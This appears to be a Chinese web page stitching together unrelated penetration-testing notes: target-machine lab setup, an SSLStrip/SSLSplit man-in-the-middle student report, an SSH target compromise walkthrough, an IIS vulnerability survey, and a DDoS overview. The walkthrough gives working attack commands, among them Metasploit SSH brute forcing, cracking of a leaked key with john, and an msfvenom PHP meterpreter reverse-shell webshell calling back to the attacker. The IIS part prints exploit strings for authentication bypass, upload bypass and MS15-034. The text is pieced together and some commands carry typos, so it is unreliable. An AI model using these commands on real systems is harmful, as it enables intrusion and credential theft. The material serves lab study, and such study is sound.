靶机网络安全_攻击靶机服务器

hacker|
152

网络攻防:攻击机(Ubuntu)和靶机(win2000server)的搭建

【目标】:要使【实际主机】、【攻击机】、【靶机】三方互相ping通

一、搭建靶机

点击下一步-完成

二、配置虚拟机win2000server的网络

实际主机:属性-启用

当虚拟机鼠标在虚拟机中出不来时,可以按Ctrl+alt键释放

三、查看靶机IP

登陆账号:Administrator密码:mima1234

硬件向导选“否”

打开“运行”--键入cmd

得到靶机IP地址为:192.168.67.129

四、从实体主机ping一下靶机

所以,【实体主机-靶机】互通

五、搭建攻击机(Linux-Ubuntu)安装方法同上,以下列举不同的地方

六、开启攻击机(Ubuntu)

Login:root

password:toor

回车:

输入:root@bt:~#startx(进入Ubuntu的图形化界面)

点一下如下图所示的图案:打开terminal

输入:root@bt:~#ifconfig(查看Ubuntu的IP地址)

得到Ubuntu的IP地址为:192.168.67.128

七、在攻击机上检查【攻击机-实体主机】和【攻击机-靶机】是否能ping通

查看实体主机IP地址:+R--cmd

C:\Users\aceripconfig(查看ip地址)

得到实体主机的IP地址为:10.201.212.16

打开Ubuntu的terminal,尝试【攻击机-实体主机】ping

                                          尝试【攻击机-靶机】ping

HTTPS中间人攻击

前言

之前为信安系统导论展示准备的实验被之前的小组“捷足先登”了,无奈只能又找别的实验,看了各个小组的题目,发现已经涵盖了大部分常见易操作的攻击方式,很难找到一个完全独立于其他人攻击方式的新实验,毕竟攻击思路都有共通之处,常用工具也就那些。

翻论坛找到一个有关中间人攻击的实验,觉得可以作为这次的展示,遂决定以此为题。

背景知识

原理介绍

1.HTTPS和HTTP

HTTPS是在HTTP应用层基础上使用SSL(完全套接层)作为子层,SSL使用数据加密技术确保数据在网络上传输而不会被截取及窃听。

2.中间人攻击

①SSLStrip (降级攻击)的工作原理及步骤

(1) 先进行中间人攻击来拦截 HTTP 流量。

(2) 将出现的 HTTPS 链接全部替换为 HTTP,同时记下所有改变的链接。

(3) 使用 HTTP 与受害者机器连接。

(4) 同时与合法的服务器建立 HTTPS。

(5) 受害者与合法服务器之间的全部通信经过了代理转发。

(6) 其中,出现的图标被替换成为用户熟悉的“小黄锁”图标,以建立信任。

(7) 这样,中间人攻击就成功骗取了密码、账号等信息,而受害者一无所知。

总而言之,SSLStrip是一种降级攻击。

②sslsplit(解密攻击)工作原理

工具的主要原理是以中间人的身份将证书插入到客户端和服务器中间,从而截断客户端和服务器之间的数据。

之前我们大多数做的都是针对于80端口的欺骗(http),也就是说,只要是超越了80端口我们就会有点棘手:比如常用的443端口(https),比如465(smtps)和587端口,这些都是通过SSL加密进行数据传输的,简单的80端口监听肯定是什么都拿不到的。这个时候,就体现出SSL证书劫持的作用了。

总而言之,SSLSplit是一种伪造证书攻击。

3.端口转发

数据包都是有原地址和目标地址的,NAT(network address translation,网络地址转换)就是要对数据包的原地址或者目标地址(也可以修改端口的)进行修改的技术。为什么我们要修改ip地址呢?是这样的互联网中只能传送公网地址的数据包,私有地址的数据包是无法传送的。这样你想下,你每天在wifi环境下看视频浏览网站的时候你的ip是什么(私有地址,你手机、pad、电脑发出来的所有数据包原地址都是私有地址。怎么在互联网上传送)。为了能让你的数据包在能在互联网上传送,必须给你一个公网ip才行。所以当你上互联网的时候,路由器会帮你把所有的数据包的原地址转换成它的wlan口的ip地址(这个就是公网ip,一般就是ADSL拨号获取的ip)。这个转换的技术就是NAT。当你所访问的服务器给你回应数据包时,路由器会把所有数据包目标地址,由它的wlan口的ip地址,改回你内网的ip地址。这样你才能上互联网。所以你每天都在使用NAT技术。

4..数据重定向的方法

如何重定向到攻击者电脑上成为靶机和服务器的中间人,其实有很多种方式。

比如:

(1)arp攻击(伪装网关)

(2)DNS劫持(伪装服务器)

(3)wifi钓鱼(之前pxy他们组做的实验就可以利用起来)

(4)修改hosts文件(把舍友暴打一顿,然后把他的电脑里的hosts文件改掉)

(5)修改默认网关(把舍友暴打一顿,然后把他的电脑里的默认网关改成自己的ip)

攻击过程

1.sslstrip攻击

①将设备设置为转发模式,这样我们的设备就可以转发目标不是我们设备的数据包。若不这样,则目标主机会出现断网的情况,arp欺骗就成了arp断网攻击。

防范方式

我们可以看到,无论是哪种攻击手段,利用的都是局域网的中间人攻击。因此一些防范方式有:

①不随意连接公共wifi

②对于arp表中的ip和MAC地址进行静态固定

③开启一些安全软件的arp防火墙

④及时更新浏览器版本或换用其他安全性高的浏览器

一些感想

找一种比较有特点的攻击方式不是那么容易,实现更不容易,这过程中遇到了各种问题,一些问题网上也找不到确切的解决方法,一度卡住后想要放弃换实验,但还是做了下来。尽管还是没能完全实现,但展示出自己的问题和疑惑也未尝不可。展示的过程中主要还是展示原理和实操过程,而对于实验的准备、中途遇到的问题以及其他实验过程,则没有时间也不必要作为展示,但这一过程其实才是实验对于我们小组成员来说最重要的。

小组成员也都很努力,也都按照自己的能力分担了不同的工作,不像操作系统的小组有人完全划水...总体来说实验还是比较成功的(强行自我鼓励),希望以后再有类似的展示能做的更完善吧。

入侵开放22端口的靶机

本人笔记,仅供参考

相关靶机:

链接:

提取码:qd32

渗透分析:

对于开启ssh服务的22端口的靶场优先考虑

1.暴力破解

2.私钥泄露

对于开放http服务的80端口或者其他端口的靶场优先考虑(特别注意大于1024的端口)

1.通过浏览器访问对应靶场http服务如地址:端口号

2.使用探测工具对http的目录进行探测,如dirb 地址:端口号

挖掘敏感信息:

使用浏览器对靶场IP的http服务探测,对页面中展示的内容也要注意,尤其是联系人等信息(有可能就是ssh的用户名信息), 递归访问,力争把每一个dirb扫描到的目录页面都访问查看;

尤其对robots.txt、以及一些目录进行访问,挖掘具备利用价值的信息。对于开放ssh服务的靶场,务必要注意是否可以寻找到ssh私钥信息(id_ rsa);

对于某些靶场,也可以使用nikto扫描器来挖掘敏感信息;

-- nikto -host靶场IP地址

特别注意config等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息;

登录服务器之后,我们需要做以下操作。

1、查看当前用户whoami .

2、id 查看当前用户的权限

3、查看根目录寻找flag文件

如果是root权限,那么表明这个靶场就被全部拿下。但是如果不是,就肯定需要提权。一

般情况下,flag文件只属于root用户和对应的用户组:

cat /etc/passwd查看所有用户的列装

cat /etc/group查看用户组

find / -user用户名查看属于某些用户的文件

/tmp查看缓冲文件目录

深入挖掘

通过/etc/crontab文件,设定系统定期执行的任务,编辑,需要roor权限。不同的用户都可以有不同的定时任务

cat /etc/crontab挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。

如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。

如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。

万不得已的时候只能对ssh服务进行暴力破解。破解最后一个

用户名。破解工具如hydra、medusa等;

利用cupp创建字典

git clone 

chmod +x cupp.py

./cupp.py -i以交互的方式创建字典

输入用户名然后一直回车到Do you want to add some random numbers at the end of words?输入yes其他全部no此时创建完成

之后推荐用metasploit破解ssh

在终端中输入

msfconsole

msf  use auxiliary/scaner/ssh/ssh_ login(使用该模块)

set rhosts  192.168.56.103(确定ip地址)

set username 用户名(破解的用户名)

set pass_ file 用户名.txt(刚刚创建的字典)

set threads  5(输入线程)

Run(进攻)

此时破解出密码例如123

直接连接,如果出现问题可以重启msfconsole,启用该模块后

set rhosts 192.168.56.103             (连接远程主机)

set username hadi(用户名)

Set password 123(密码)

Run

界面简陋就使用python优化界面

Python -c “import pty;pty.spawn(‘/bin/bash’)”(优化界面)

此时可以把自己权限提升到root:

su - root

回到根目录ls打开flag文件

Ssh秘钥泄露

解密Ssh秘钥信息(以秘钥名id_isa举例)

Chmod  600 id_isa(赋予is_isa可读可写权限)

ssh2john id_isa  isacrack       (就是用ssh2john把秘钥里的东西转换成john可识别的)

Zcat  /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacracks(利用rockyou字典解出所需要的东西)

制作webshell

msfvenom -p php/meterpreter/reverse_tcp Ihost=攻击机IP地址Iport=4444 -f raw  /root/Desktop/shell.php

启动监听

msf  use exploit/multi/handler

msf exploit(handler)  set payload php/meterpreter/reverse_tcp

Weoshell

msf exploit(handler)  set Ihost攻击机IP地址

msf exploit(handler)  set lport 4444

msf exploit(handler) run

上传Webshell

使用找到的敏感信息登录系统后台,上传webshell。 执行

webshel(访问具有webshell的php页面)

获得反弹的shell

--

wordpress.上传点theme 404.php

执行: http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php

iis曾经出现过的漏洞不包括哪些

不包括反序列化漏洞。

Internet Information Services(IIS,以前称为 Internet Information Server)互联网信息服务是 Microsoft 公司提供的可扩展 Web 服务器,支持 HTTP,HTTP/2,HTTPS,FTP,FTPS,SMTP 和 NNTP 等。起初用于 Windows NT 系列,随后内置在 Windows 2000、Windows XP Professional、Windows Server 2003 和后续版本一起发行。IIS 目前只适用于 Windows 系统,不适用于其他操作系统。

根据 Netcraft 在 2018 年 9 月的最新全球 Web 服务器报告显示,Microsoft IIS 依旧以 9.57% 的比例占据全球第三大最繁忙服务器,落后于 Apache 34.07%和 Nginx 25.45%。目前流行的 Windows 版本都默认安装 IIS 服务 , 但同时 IIS 的安全性一直被业内诟病,一旦 IIS 出现高危漏洞,将会出现范围广、影响深的特点。

目前 IIS 一共发行 12 个版本,从 IIS 1.0 版本至 IIS 10.0 版本,IIS 1.0-4.0 已经基本退出市场,IIS 5.0-10.0 是 Web 市场主要使用的网站服务器。随着 Windows 版本发布和不断更新,IIS 自身的安全性也有了较大的提升。在 2005-2018 年期间,IIS 漏洞呈现逐年减少的趋势,同时也说明了 IIS 漏洞 POC 公布越来越少、漏洞挖掘的难度也在提升。

从上述 IIS 漏洞统计表格可以看出,IIS 7.5、IIS 8.5 和 IIS 10.0 是目前全球使用最多的三款 IIS 版本,分别对应受影响漏洞 12 个、4 个和 2 个,呈现受影响漏洞数量递减的趋势。同时,在历年的 IIS 版本漏洞中,IIS 6.0、IIS 5.1、IIS 7.5 和 IIS 7.0 受影响的漏洞数居前四位。

二、IIS 漏洞分析

千里目实验室针对 IIS 近十几年(2005 年以后)的 35 个漏洞进行和整理和分析,IIS 漏洞主要分布在缓冲区溢出、认证绕过、DOS 拒绝服务、代码执行和信息泄露,其中以 MS15-034 远程代码执行漏洞最为严重。

由上表可以看到,IIS 历年漏洞主要以远程漏洞为主,占漏洞总数 85.71%,本地漏洞有 5 个,占漏洞总数 14.29%。其中 5 个本地漏洞分别是: ( MS12-073 ) Microsoft IIS 密码信息泄露漏洞 CVE-2012-2531、 Microsoft IIS 源代码泄露漏洞 CVE-2005-2678、 ( MS17-016 ) Microsoft Internet 信息服务器跨站脚本漏洞 CVE-2017-0055、 ( MS16-016 ) IIS WEBDAV 特权提升漏洞 CVE-2016-0051、 ( MS08-005 ) Microsoft IIS 文件更改通知本地权限提升漏洞 CVE-2008-0074。

以下主要针对 IIS 漏洞中可以远程利用的重点漏洞做分析和复现:

1. 缓冲区溢出漏洞

1.1 ( MS09-053 ) Microsoft IIS FTPd 服务 NLST 命令栈缓冲区 CVE-2009-3023

1.1.1 漏洞描述

Microsoft IIS 内嵌的 FTP 服务器中存在基于栈的缓冲区溢出漏洞。如果远程攻击者对带有特制名称的目录发布了包含有通配符的 FTP NLST ( NAME LIST ) 命令的话,就可以触发这个溢出,导致执行任意代码。仅在攻击者拥有写访问权限的情况下才可以创建带有特殊名称的目录。

1.1.2 漏洞分析和复现

· 漏洞影响版本:IIS 5.0、IIS 5.1、IIS 6.0

· 漏洞分析:

IIS 包括用于通过 TCP 计算机网络交换和操作文件的 FTP 服务器服务。它默认侦听端口 21 以获取来自 FTP 客户端的传入连接。IIS 支持的 FTP 命令之一是名称列表(NLST)命令。此命令用于将目录列表从服务器传输到客户端。该命令的语法如下:

NLST

此命令中的路径名应指定目录或其他特定于系统的文件组描述符;在 pathname 为 NULL 时,使用当前目录。NLST 命令可以使用诸如“ * ”之类的通配符来引用多个路径。

Microsoft Internet 信息服务(IIS)中存在缓冲区溢出漏洞。该漏洞是由于处理 NLST FTP 命令时边界检查不足造成的。当 FTP 用户请求包含通配符的路径名过长的目录列表时,易受攻击的代码会将目录路径名复制到 0x9F(159)字节的基于堆栈的缓冲区中,而不进行边界验证。提供包含大于 0x9F(159)字节的路径名会使堆栈缓冲区溢出,从而可能会覆盖关键进程数据(如函数返回地址)。

远程身份验证的攻击者可以通过连接到易受攻击的 IIS FTP 服务器并向目标服务器发送恶意 NLST 命令来利用此漏洞。成功利用将导致使用 System 权限执行代码。如果代码执行攻击不成功,可能会导致受影响的 FTP 会话异常终止。

注意:为了成功利用此漏洞,NLST 命令中指定的长路径名必须存在于目标系统上。因此,利用此漏洞的攻击可能伴随着 MKD 命令的使用。

· 漏洞类型:可远程利用,存在缓冲区溢出漏洞,可触发代码执行

· 漏洞复现:

复现环境:Win XP SP3 x64 专业版,默认 IIS 5.1

1. 搭建好 IIS FTP 靶机环境,测试 anonymous 默认匿名用户可用,且可创建和读写目录;

2. 测试正常 MKD 创建和 NLST 正常长度的目录的功能是否正常:

以上 somefolder 为 FTP 服务器上正常长度文件夹,NLST 命令执行成功并返回结果提示 226。

3. 测试创建和 NLST 异常目录长度,服务器返回 150,打开数据连接,成功执行命令。

· 漏洞缓解:

1. 此漏洞仅在 IIS 5.x 和 6.0 版本存在,升级 IIS 版本或者更新 MS09-053 补丁即可规避此漏洞;

2. 此漏洞成功利用的条件主要包括:IIS 启用 FTP 服务且存在 FTP 默认站点、攻击者登陆 FTP 的账户有创建和读写文件夹的权限。

2.DOS 拒绝服务漏洞

2.1 ( MS07-041 ) Microsoft IIS 5.1 远程缓冲区溢出漏洞 CVE-2005-4360

2.1.1 漏洞描述

Microsoft IIS 处理某些畸形的 HTTP 请求时存在漏洞,远程攻击者可能利用此漏洞对服务器进行拒绝服务攻击。远程攻击者可以使用 WEB 浏览器之类的工具发送特制的匿名 HTTP 请求导致 IIS 服务进程 inetinfo.exe 崩溃。仅在文件夹的 " 执行权限 " 设置为 " 脚本和可执行程序 " 时才会出现这个漏洞。有漏洞的虚拟文件夹包括 "/_vti_bin" 等。此外如果提交恶意请求还可能会触发缓冲区溢出,导致在用户系统上执行任意代码。

2.1.2 漏洞分析和复现

· 漏洞影响版本:IIS 5.1

IIS 包括一个能够提供静态和动态内容的 Web 服务器组件。IIS 的 Web 组件提供 Web 应用程序功能。通过 Web 应用程序,服务器可以在后端执行脚本,并将生成的内容提供给请求客户端。客户端可以请求许多可执行资源,例如 Perl 脚本、Active Server Pages(ASP)或动态链接的库资源。用于提供动态动态内容的虚拟目录需要配置后台执行脚本的权限。

Microsoft Internet Information Services 产品的 HTTP 服务器组件中存在可远程利用的拒绝服务漏洞。在特殊情况下,当多次请求动态链接的库资源时,受影响的服务可能会因此而关闭。由于服务器无法处理格式错误的 URL 请求,因此创建了该漏洞。恶意请求必须满足几个条件才能触发此漏洞。请求 URL 必须包含来自以下字符的有限集合中的字符(注意,不可见字符需要使用以下字符范围的 URL 编码形式):

%3f

字符 %01 – %1f 的范围

请求还必须包含波形符“ ~ ”字符,后面跟一个十进制数字。

· 漏洞类型:可远程利用,可触发 DOS 攻击

1. 配置 IIS 默认 wwwroot 根目录下的虚拟目录 _vti_bin 执行权限为“脚本和可执行文件”权限;

2. 浏览器发送恶意 url 远程访问靶机环境,复现成功,服务器返回 500 错误:

Eg:

1. 此漏洞仅在 IIS 5.1 版本存在,升级 IIS 版本或者更新 MS07-041 补丁即可规避此漏洞;

2. 此漏洞成功利用的条件主要包括:要求在服务器端将请求的虚拟目录配置为“脚本和可执行文件”权限,不开启此权限的服务器不存在漏洞。

2.2 ( MS09-053 ) Microsoft IIS FTP 服务器递归列表拒绝服务漏洞 CVE-2009-2521

2.2.1 漏洞描述

IIS 5.0 至 7.0 版本的 FTP 服务在处理递归目录列表请求时存在栈消耗漏洞。拥有对目录写访问权限的远程攻击者可以通过提交包含有通配符 ( 如星形标识符 ) 的请求导致拒绝服务(守护进程崩溃)。

2.2.2 漏洞分析和复现

· 漏洞影响版本:IIS 5.0、IIS 5.1、IIS 6.0、IIS 7.0

通过包含通配符的 list(ls)-R 命令在 Microsoft IIS FTP 服务器 5.0 到 7.0 中触发拒绝服务条件,即 ls "-R p*/../" 命令可导致 FTP 服务器拒绝服务。 此漏洞利用有三个条件:

(1)一个有效的 ftp 帐户,拥有只读或写入权限;

(2)“ FTP 发布”服务必须在启动类型中配置为“手动”模式;

(3)FTP 根目录下至少有一个目录。

1. 添加 FTP 服务器角色,IIS 信息服务管理控制台“ FTP 站点下”启动 FTP 默认站点

2. 配置 ftp 默认用户 anonymous/anonymous,拥有读写目录权限;

3. 目录下创建一个文件夹 BB,然后输入 ls "-R p*/../",成功复现 DOS 拒绝服务,ftp 连接关闭:

中间很多重复:

p*/../BB: BB

FTP 服务器提示“远程主机关闭连接”,FTP 拒绝服务,漏洞复现成功。

1. 此漏洞仅在 IIS 5.0-7.0 版本存在,升级 IIS 版本或者更新 MS09-053 补丁即可规避此漏洞;

3. 认证绕过漏洞

3.1IIS 认证绕过和源码泄露漏洞复现

3.1.1 漏洞描述

Microsoft IIS ( Internet Information Server ) 是 Microsoft Windows 系统默认自带的 Web 服务器软件,其中默认包含 FTP 服务。Microsoft IIS 中存在认证绕过漏洞和源码泄露漏洞,该漏洞源于对用户提供的输入未经正确的验证。攻击者可利用这些漏洞在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问,且有助于进一步攻击。

3.1.2 漏洞分析和复现

· 漏洞影响版本:IIS 6.0、IIS 7.5

Microsoft IIS 由于无法正确清理用户提供的输入,容易出现身份验证绕过漏洞和源代码泄露漏洞。主要包括以下三类绕过:

(1)安装了 PHP 的 Microsoft IIS 6.0 身份验证绕过:

IIS / 6.0 加载受保护(如 :admin)目录中的 PHP 文件需要用户认证信息(用户名和密码访问),如果将“ :: $ INDEX_ALLOCATION ”后缀附加到目录名称后面,存在绕过认证并可能访问管理文件等特殊情况,导致 IIS 服务器重要信息泄露;

Eg:/admin::$INDEX_ALLOCATION/index.php

(2)Microsoft IIS 7.5 经典 ASP 身份验证绕过:

配置了经典 ASP 和 .NET Framework 4.0 的 Microsoft IIS 7.5,通过将“:$ i30:$ INDEX_ALLOCATION ”后缀附加到需要认证的请求目录名称后面,可以绕过经典的 ASP 文件访问限制;

Eg: 举例:/admin:$i30:$INDEX_ALLOCATION/index.asp

(3)Microsoft IIS 7.5 .NET 源代码公开和身份验证绕过:

在配置中安装了 PHP 的 Microsoft IIS / 7.5,存在认证绕过漏洞;

Eg:

除此之外,通过将 /.php 附加到 ASPX 文件(或使用未通过请求过滤规则阻止的 .NET 框架的任何其他文件,如错误配置:.CS,.VB 等文件)。IIS 7.5 使用文件的完整源代码进行响应,并将其作为 PHP 代码执行。这意味着通过使用上传功能,可以(在特殊情况下)执行任意 PHP 代码。

Eg: (php 任意代码执行)

· 漏洞类型:可远程利用,可触发认证绕过和信息泄露

复现环境:Windows 7 x64 位,默认 IIS 7.5

以下验证复现上述(3)的漏洞,(1)和(2)类似此处不做验证:

1.IIS 网站根目录下创建 admin 用户目录,关闭默认用户认证,换言之,访问 /admin/index.php 目录下的文件需要认证信息,认证失败或者无认证信息将会返回 401 未授权页面;

2. 配置完成后,重启 IIS 服务器,浏览器远程访问此文件:,默认 IIS 账户访问提示 401 未授权;

3. 接下来,利用 :$i30:$INDEX_ALLOCATION 来绕过此限制,浏览器远程访问:

,成功绕过并访问到敏感信息;

4. 除此之外,如果目标站点限制上传和访问 php 文件,可以利用上传 aspx(.net 支持解析的文件类型)文件逃避限制,将其当做 php 代码执行;

Eg:网站目录下有一个 index.aspx 的文件,里面写有 php 代码,正常通过 访问此文件无法执行代码,通过在末尾加上 index.aspx/.php 形式访问将会成功执行 php 代码;

a. 正常绕过访问 index.aspx 文件,页面返回乱码,未执行 phpinfo 代码:

b. 通过在末尾加上 /.php,成功执行 php 代码:

1.IIS 7.5 配置 .NET Framework 2.0 不受上述 ( 2 ) 的绕过影响;

2. 攻击者需要事先获取 IIS 服务器受认证保护目录;

4. 信息泄露漏洞

4.1Microsoft IIS 短文件名泄露漏洞

4.1.1 漏洞描述

IIS 短文件名漏洞是由于 HTTP 请求中携带旧 DOS 8.3 名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在 Web 根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

4.1.2 漏洞分析和复现

· 漏洞影响版本:IIS 5.0-10.0 全系列版本

Windows 支持以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位 Windows 的程序访问这些文件。基于 Windows 的 IIS 服务器默认根目录 C:inetpubwwwroot 下的网页脚本文件和目录符合一定条件时,会生成相应的短文件名。此时,攻击者利用 HTTP 的 DEBUG、OPTIONS、GET、POST、HEAD、TRACE 等方法携带波浪号,可以对 IIS 服务器短文件名进行暴力猜解,依据返回的页面信息和状态码来确认真实存在的文件名,从而获取服务器敏感信息,为下一步攻击做准备。

· 漏洞类型:可远程利用,可触发信息泄露

1. 通过 cmd 下进入 IIS 网站根目录 C:inetpubwwwroot,输入“ dir /x ”查看已存在的短文件名:

2. 使用公开 POC 或者扫描程序探测目标靶机的短文件名,成功猜解到服务器根目录短文件名称:

1. 限制 IIS 服务器 HTTP 方法,除了必要的 GET、POST 方法,其他 HTTP 方法建议关闭,视情况开启;

2.IIS 服务器文件建议使用复杂字符或者中文命名,增后期攻击者暴力破解难度;

3. 针对已存在的 IIS 服务器,建议关闭 NTFS 8.3 文件格式的支持或者修改注册表禁用短文件名功能。

注:详细原理和解决方案请参考:

5. 代码执行漏洞

5.1Microsoft IIS 畸形文件扩展名绕过安全限制漏洞 CVE-2009-4444

5.1.1 漏洞描述

IIS 服务器错误的执行了带有多个扩展名的文件中所包含的 ASP 代码。例如,malicious.asp;.jpg 被执行为了 ASP 文件。很多文件上传程序仅检查文件扩展名的最后部分,因此这可能导致绕过保护机制向服务器上传恶意可执行文件。

5.1.2 漏洞分析和复现

· 漏洞影响版本:IIS 6.0

此漏洞主要原因是 IIS 第三方上传应用没有限制文件上传格式或者限制不够严格,只检查了文件末尾的格式,导致攻击者可以将如 Asp webshell 伪装成 malicious.asp;.jpg 文件格式上传到 IIS 服务器。IIS 的 Classic ASP 功能在处理 asp 文件时,被此畸形文件格式的分号截断了,认为是 asp 文件并进行相应的解析处理。攻击者则在获取上传路径后通过远程访问执行此 webshell,控制 IIS 服务器甚至 Windows 宿主机器。

· 漏洞类型:可远程利用,文件上传绕过可触发代码执行

复现环境:Win server 2003 Sp2 32 位企业版,默认 IIS 6.0

1.IIS 服务器根目录下创建一个名为 aspwebshell.asp;.jpg 的文件,用记事本打开,放入 asp webshell 代码(实际利用过程中是通过第三方应用上传绕过漏洞上传此文件,并设法获取此上传路径);

2. 通过浏览器远程访问此文件,;.jpg,成功执行 asp webshell 代码:

1. 严格限制 IIS 第三方应用上传文件的格式;

2. 此漏洞仅影响 IIS 6.0,其他版本解析 asp 文件不会被分号截断,可升级至无此漏洞的 IIS 版本。

5.2 ( MS15-034 ) Microsoft IIS 远程代码执行漏洞复现 CVE-2015-1635

5.2.1 漏洞描述

Microsoft Windows 是美国微软(Microsoft)公司发布的一系列操作系统。Microsoft Internet Information Services(IIS)是一套运行于 Microsoft Windows 中的互联网基本服务。使用 Microsoft IIS 6.0 以上版本的 Microsoft Windows 的 HTTP 协议堆栈 ( HTTP.sys ) 中存在远程执行代码漏洞,该漏洞源于 HTTP.sys 文件没有正确分析经特殊设计的 HTTP 请求。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

5.2.2 漏洞分析和复现

· 漏洞影响版本:IIS 7.5、IIS 8.0、IIS 8.5

IIS 进程 w3wp.exe 接收到 HTTP 请求后,将数据缓存到内核中,并整合 HTTP 回应头,最后由 http.sys 组织数据包经由网络内核组件发送出去。请求中包括 Range 对象的指定范围,而缓存中则包含了 http 文件和大小信息等。

根据公开 POC,构造包含“ Range: bytes=0-18446744073709551615 ”的 HTTP 请求并发送到 IIS 7.5-8.5 服务器,如果 IIS 服务器返回“ Requested Range Not Satisfiable ”,则存在漏洞,如果返回“ The request has an invalid header name ”或者没有回应,则说明漏洞已经修补或者不存在漏洞。

· 漏洞类型:可远程利用,可触发代码执行

复现环境:Win server 2008 R2 64 位企业版,默认 IIS 7.5

1. 开启 IIS 默认网站

2. 根据公开 poc 发送包含特殊设计的 Range 字段攻击靶机环境,成功检测到漏洞:

1. 禁用 IIS 内核缓存,详情见微软官方公告:

2. 升级 IIS 至 IIS 10.0 版本,此版本不存在此漏洞。

三、漏洞总结

IIS 远程漏洞主要包括缓冲区溢出、认证绕过、拒绝服务、代码执行和信息泄露漏洞,本地漏洞主要分布在信息泄露和权限提升漏洞分类,大部分漏洞利用难度较大,但是一旦成功被攻击者利用,影响的不仅仅只是 IIS 服务器,甚至可能是运行 IIS 的 Windows 主机。如果用户主机被利用,那么攻击者可以将此台主机当作肉鸡攻击内网中的其他主机、服务器或者网络设备等,后果不堪设想。

如果 IIS 服务器的网站配置不当,攻击者可以通过 IIS 短文件名猜解和暴力破解用户隐私文件并进行认证绕过访问,获取用户隐私信息。此外,不合理的上传限制也会导致攻击者上传含有恶意代码或 webshell 并伪装成合法的文件,进而导致 IIS 服务器被攻陷。攻击者利用提权漏洞或者命令执行等漏洞,对 IIS 服务器甚至是 Windows 操作系统进行进一步的攻击。无论是对 IIS 服务器本身的服务还是该 IIS 服务器所处的网络环境,IIS 漏洞都是一个极大的隐患。

DDoS 攻击与防御

分布式拒绝服务攻击(Distributed Denial of Service),是指处于不同位置的多个攻击者同时向一个或数个目标发动攻击。由于攻击的发出点是分布在不同地方的,这类攻击称为分布式拒绝服务攻击。

DDoS 是一种基于 DoS 的特殊形式的拒绝服务攻击。单一的 DoS 攻击一般是采用一对一方式,利用网络协议和操作系统的缺陷,采用欺骗和伪装的策略来进行网络攻击,使网站服务器充斥大量要求回复的信息,消耗网络带宽或系统资源,导致网络或系统不胜负荷以至于瘫痪而停止提供正常的网络服务。与 DoS 相比,DDos 借助数百上千台攻击机形成集群,发起的规模更大,更难防御的一种进攻行为。

ICMP 用于在 IP 主机,路由器之间传递控制消息(网络是否连通,主机是否可达,路由是否可用等)。ICMP 虽然不传递用户数据,但是对于用户数据的传递起着重要的作用。ICMP Flood 通过对目标系统发送海量的数据报,就可以令目标主机瘫痪,形成洪泛攻击。

UDP 协议是一种无连接的协议,在 UDP Flood 中,攻击者通常发送大量伪造 IP 地址的 UDP 报去冲击 DNS 服务器,Radius 认证服务器,流媒体视频服务器等,造成服务不可用。 上述的两种是比较传统的流量型攻击,技术含量较低,以占满网络带宽使得正常用户无法得到服务为攻击方式,攻击效果通常依赖于攻击者本身的网络性能,而且容易被查找攻击源头。

NTP 是标准的基于 UDP 协议的网络时间同步协议。由于 UDP 无连接的特性,NTP 服务器并不能保证收到报文的源 IP 的正确性。所以,攻击者通过将 IP 报文的源 IP 地址换为靶机的 IP 地址,并向 NTP 服务器发送大量的时间同步报文,这样,NTP 服务器的响应报文就会达到靶机上,沾满靶机网络段的带宽资源,同时也很难去追溯攻击源头。

SYN Flood 是一种利用 TCP 协议缺陷,发送大量伪造的 TCP 连接请求,从而使目标服务器资源耗尽的攻击方式。如果客户端只发起第一次握手,而不响应服务端的第二次握手,那么这条连接就处于半连接状态,服务端会维持这条连接一段时间(SYN Timeout)并不断地重试。但攻击者大量的模拟这种情况,就会沾满整个服务端的连接符号表,并消耗大量的 CPU 资源进行重试操作。而对于 SNY Flood 的防御目前有两种常见的方式,一种是算短 SYN Timeout,另一种是设置 SYN Cookie,并开辟一个数组存放 Cookie,单连接没有真正建立时,不去占用连接符号表。

DNS Query Flood 通过操纵大量的傀儡机,向本网段的域名服务器发送大量域名解析请求,通常这些请求解析的域名是随机生成或网络上根本不存在的域名,由于本地域名服务器无法找到对应的结果,就会通过层层上次给更高级的域名服务器,引起连锁反应,导致本网段内的域名解析服务瘫痪,但一般最多只会瘫痪一小段网络。

HashDos 是一种新型的,基于 Hash 碰撞形成的攻击。随着现在 RESTful 风格的不断普及,json 格式作为数据传输的格式愈发成为主流。但是 json 反序列化为对象时,底层是通过 hash 算法来将字段与属性,属性值进行一一匹配。所以,一旦攻击者知道了我们序列化方式,构造出一段具有严重哈希碰撞的 json 数据,就会使我们服务端序列化的复杂度从 O(1) 暴增到 O(n)。

DDos 的防御主要有两种,一种是针对流量带宽,一种是针对服务端资源。流量带宽一般需要通过运营商采用 ISP 黑洞,近源清洗等策略,在源头(即攻击者所在的网段)进行拦截,而不是等到所有的细流汇聚成猛水时才进行拦截。

而对于服务端的资源,则是当下 DDos 的重灾区,本文以攻防对抗的方式讲述 DDos 的发展历程。

参考文献:

matesploit为什么无法连接到服务器

开启 metasploit

启动 msfconsole

扫描所有有效的 mysql 模块

选择渗透攻击的模块,这里选择 mysql-login 模块。使用 use 命令。查看模块的有效选项

下面配置几个选项参数。

实施攻击,单因为不是使用 metasploitable 系统作为攻击靶机。攻击被拒绝。

0条大神的评论

发表评论